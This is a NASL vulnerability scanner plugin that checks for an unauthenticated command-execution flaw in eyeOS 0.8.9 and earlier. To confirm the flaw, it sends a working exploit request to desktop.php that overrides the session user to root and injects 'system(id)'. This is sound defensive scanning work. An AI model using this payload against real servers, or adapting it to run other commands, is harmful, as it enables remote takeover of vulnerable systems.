#
# Script Written By Ferdy Riphagen 
# <f[dot]riphagen[at]nsec[dot]nl>
#
# Script distributed under the GNU GPLv2 License.
#
#
# Original advisory / discovered by :
# http://www.gulftech.org/?node=research&article_id=00096-02072006
#

if (description) {
 script_id(80008);
 script_version("$Revision: 1.0 $");
 script_tag(name:"cvss_base", value:"7.0");
 script_tag(name:"risk_factor", value:"High");

 name = "EyeOS <= 0.8.9 Command Execution Vulnerability";
 script_name(name);
 desc = "
Synopsis :

The remote system contains a PHP application that is prone to 
command execution flaws. 

Description :

The remote system is running a vulnerable version of eyeOS.

EyeOS is a web based operating system, wich makes it possible
to access data and applications remote by using a web-browser.

The installed version does not initialize user sessions properly,
allowing unauthenticated attackers to execute arbitrary commands 
with the privileges of the webserver. 

See also :

http://www.gulftech.org/?node=research&article_id=00096-02072006

Solution :

Upgrade to eyeOS version 0.8.10.

Risk factor :

High / CVSS Base Score : 7  
(AV:R/AC:H/Au:NR/C:P/A:C/I:P/B:A)";
 script_description(desc);

 summary = "Check if EyeOS is vulnerable to command execution";
 script_summary(summary);

 script_category(ACT_ATTACK);
 script_family("Web application abuses");
 script_copyright("This script is Copyright (C) 2006 Ferdy Riphagen");

 script_dependencie("http_version.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("global_settings.inc");

port = get_http_port(default:80);
if (!get_port_state(port)) exit(0);
if (!can_host_php(port:port)) exit(0);

# Check a few directories.
if (thorough_tests) dirs = make_list("/eyeOS", "/eyeos", cgi_dirs());
else dirs = make_list(cgi_dirs());

foreach dir (dirs) {
 # Check if we find eyeOS installed.
 res = http_get_cache(item:string(dir, "/desktop.php"), port:port); 
 if(res == NULL) exit(0);
 
 if (egrep(pattern:">Welcome to eyeOS v\. [0-9.]+", string:res)) {
  url = "eyeOptions.eyeapp&a=eyeOptions.eyeapp&_SESSION[usr]=root&_SESSION[apps][eyeOptions.eyeapp][wrapup]=";
  cmd = "system(id)";

  # Try to execute a remote command. 
  req = http_get(item:string(dir, "/desktop.php?baccio=", url, cmd, ";"), port:port);
  debug_print("req: ", req, "\n");

  recv = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);  
  if (recv == NULL) exit(0);
  debug_print("recv: ", recv, "\n");

  if (egrep(pattern:"uid=[0-9]+.*gid=[0-9]+", string:recv)) {
   security_hole(port);
   exit(0); 
  }
 } 
} 
